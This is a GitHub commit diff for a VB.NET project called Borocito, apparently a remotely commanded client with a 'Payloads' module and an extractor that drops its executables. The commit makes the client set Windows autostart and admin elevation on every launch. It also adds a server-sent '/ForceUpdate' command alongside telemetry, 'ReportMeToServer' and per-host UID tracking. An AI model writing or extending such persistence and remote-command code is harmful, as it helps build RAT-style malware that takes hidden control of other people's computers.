avances

Zhenboro · Dec 1, 2021 · 537581c · 537581c
1 parent fe694fd
commit 537581c
Show file tree

Hide file tree

Showing 22 changed files with 237 additions and 156 deletions.
diff --git a/Borocito/Payloads.vb b/Borocito/Payloads.vb
@@ -129,10 +129,10 @@ Module Payloads
             AddToLog("Uninstall@Payloads", "Error" & ex.Message, True)
         End Try
     End Sub
-    Sub Update()
+    Sub Update(Optional ByVal args As String = Nothing)
         Try
             AddToLog("Update@Payloads", "Starting Updater.exe...", True)
-            Process.Start(DIRCommons & "\BorocitoUpdater.exe")
+            Process.Start(DIRCommons & "\BorocitoUpdater.exe", args)
             End
         Catch ex As Exception
             AddToLog("Update@Payloads", "Error" & ex.Message, True)

diff --git a/Borocito/Utility.vb b/Borocito/Utility.vb
@@ -89,6 +89,10 @@ Module StartUp
         Try
             'Iniciar desde otra ubicacion
             RunFromLocation()
+            'Iniciar con Windows
+            StartWithWindows()
+            'Iniciar con Administrador
+            StartWithAdmin()
             'Ver si ha existido
             If AlreadyExist() Then
                 'Ya ha existido
@@ -106,10 +110,6 @@ Module StartUp
                 UID = CreateRandomString(15)
                 'Guarda la UID
                 SaveRegedit()
-                'Iniciar con Windows
-                StartWithWindows()
-                'Iniciar con Administrador
-                StartWithAdmin()
                 'Reportar al servidor
                 ReportMeToServer()
                 'Guardar existencia
@@ -562,6 +562,12 @@ Module Network
                             SendTelemetry()
                             Update()
 
+                        ElseIf CMD1.Contains("/ForceUpdate") Then
+                            SendCommandResponse("Borocito has been called to Force the Update")
+                            AddToLog("Network", "Borocito has been called to Force the Update!", True)
+                            SendTelemetry()
+                            Update("/ForceUpdate")
+
                         ElseIf CMD1.Contains("/Reset") Then 'Funciona.
                             SendCommandResponse("Borocito has been called to Reset")
                             AddToLog("Network", "Borocito has been called to Reset!", True)

diff --git a/Control/Main.Designer.vb b/Control/Main.Designer.vb
diff --git a/Control/Main.vb b/Control/Main.vb
@@ -5,6 +5,13 @@
         TabPage5.Enabled = False
         Panel1.Dock = DockStyle.Fill
     End Sub
+    Private Sub Main_HelpRequested(sender As Object, hlpevent As HelpEventArgs) Handles Me.HelpRequested
+        If MessageBox.Show("Borocito CLI y Borocito CMD fueron creados por Zhenboro." & vbCrLf & "¿Desea visitar el sitio oficial?", "Borocito Series", MessageBoxButtons.YesNo, MessageBoxIcon.Information) = DialogResult.Yes Then
+            Process.Start("https://github.com/Zhenboro/Borocito")
+            Threading.Thread.Sleep(1500)
+            Process.Start("https://github.com/Zhenboro")
+        End If
+    End Sub
     Private Sub LoaderTimer_Tick(sender As Object, e As EventArgs) Handles LoaderTimer.Tick
         LoadIt()
     End Sub

diff --git a/Extractor/Extractor.vbproj b/Extractor/Extractor.vbproj
@@ -6,9 +6,9 @@
     <Platform Condition=" '$(Platform)' == '' ">AnyCPU</Platform>
     <ProjectGuid>{0AD44CB6-1454-4B9E-8305-848845EBB04E}</ProjectGuid>
     <OutputType>WinExe</OutputType>
-    <StartupObject>Extractor.My.MyApplication</StartupObject>
-    <RootNamespace>Extractor</RootNamespace>
-    <AssemblyName>Extractor</AssemblyName>
+    <StartupObject>Borocito_Extractor.My.MyApplication</StartupObject>
+    <RootNamespace>Borocito_Extractor</RootNamespace>
+    <AssemblyName>BorocitoExtractor</AssemblyName>
     <FileAlignment>512</FileAlignment>
     <MyType>WindowsForms</MyType>
     <TargetFrameworkVersion>v4.6</TargetFrameworkVersion>
@@ -22,7 +22,7 @@
     <DefineDebug>true</DefineDebug>
     <DefineTrace>true</DefineTrace>
     <OutputPath>bin\Debug\</OutputPath>
-    <DocumentationFile>Extractor.xml</DocumentationFile>
+    <DocumentationFile>BorocitoExtractor.xml</DocumentationFile>
     <NoWarn>42016,41999,42017,42018,42019,42032,42036,42020,42021,42022</NoWarn>
   </PropertyGroup>
   <PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Release|AnyCPU' ">
@@ -32,7 +32,7 @@
     <DefineTrace>true</DefineTrace>
     <Optimize>true</Optimize>
     <OutputPath>bin\Release\</OutputPath>
-    <DocumentationFile>Extractor.xml</DocumentationFile>
+    <DocumentationFile>BorocitoExtractor.xml</DocumentationFile>
     <NoWarn>42016,41999,42017,42018,42019,42032,42036,42020,42021,42022</NoWarn>
   </PropertyGroup>
   <PropertyGroup>
@@ -120,11 +120,14 @@
     </None>
     <None Include="App.config" />
   </ItemGroup>
+  <ItemGroup>
+    <None Include="Resources\Updater.exe" />
+  </ItemGroup>
   <ItemGroup>
     <None Include="Resources\Borocito.exe" />
   </ItemGroup>
   <ItemGroup>
-    <None Include="Resources\Updater.exe" />
+    <None Include="Resources\BorocitoUpdater.exe" />
   </ItemGroup>
   <Import Project="$(MSBuildToolsPath)\Microsoft.VisualBasic.targets" />
 </Project>
diff --git a/Extractor/Main.vb b/Extractor/Main.vb
@@ -1,5 +1,6 @@
 Public Class Main
     Private Sub Main_Load(sender As Object, e As EventArgs) Handles MyBase.Load
+        AddToLog("Main", "Extractor iniciado!", True)
         parameters = Command()
         'ReadParameters()
         Init()

diff --git a/Extractor/My Project/Application.Designer.vb b/Extractor/My Project/Application.Designer.vb
diff --git a/Extractor/My Project/AssemblyInfo.vb b/Extractor/My Project/AssemblyInfo.vb
@@ -11,7 +11,7 @@ Imports System.Runtime.InteropServices
 <Assembly: AssemblyTitle("")>
 <Assembly: AssemblyDescription("")>
 <Assembly: AssemblyCompany("Zhenboro")>
-<Assembly: AssemblyProduct("BorocitoExtractor")>
+<Assembly: AssemblyProduct("BoroExtractor")>
 <Assembly: AssemblyCopyright("Copyright © 2021 Zhenboro.")>
 <Assembly: AssemblyTrademark("Zhenboro")>
 

diff --git a/Extractor/My Project/Resources.Designer.vb b/Extractor/My Project/Resources.Designer.vb
diff --git a/Extractor/My Project/Resources.resx b/Extractor/My Project/Resources.resx
@@ -121,7 +121,7 @@
   <data name="Borocito" type="System.Resources.ResXFileRef, System.Windows.Forms">
     <value>..\Resources\Borocito.exe;System.Byte[], mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
   </data>
-  <data name="Updater" type="System.Resources.ResXFileRef, System.Windows.Forms">
-    <value>..\Resources\Updater.exe;System.Byte[], mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
+  <data name="BorocitoUpdater" type="System.Resources.ResXFileRef, System.Windows.Forms">
+    <value>..\Resources\BorocitoUpdater.exe;System.Byte[], mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
   </data>
 </root>